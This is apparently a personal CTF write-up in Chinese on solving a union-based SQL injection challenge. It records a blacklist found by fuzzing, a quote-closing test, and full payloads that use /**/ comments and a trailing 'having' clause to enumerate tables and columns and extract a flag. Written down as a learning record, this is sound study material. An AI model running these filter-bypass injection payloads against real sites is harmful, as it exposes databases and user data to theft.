写在前面:这个是一个很简单的联合注入,但是因为我对于这种通过输入来闭合,从而实现注入不是很熟悉,因此记录一下
1、fuzz测试
发现会给出过滤的字段
black_list is /if|and|\s|#|--/i
不能通过注释掉后面的内容来闭合,所以这里要通过 '
构造闭合
用1'or'1'='1
测试有提示,说明闭合成功
2、联合注入
爆表名
username='/**/union/**/select/**/concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/having'1'='1
爆列名
username=username='/**/union/**/select/**/concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'/**/having'1'='1
爆字段名
username='/**/union/**/select/**/group_concat(flag)/**/from/**/flag/**/having'1'='1
这里有两个坑
- 没有用
having
,语句一直无法执行成功,这个地方目前还没理解透彻 - 没有弄清楚
concat函数
与group_concat函数
concat和group_concat都是用在sql语句中做拼接使用的,但是两者使用的方式不尽相同,concat是针对以行数据做的拼接,而group_concat是针对列做的数据拼接,且group_concat自动生成逗号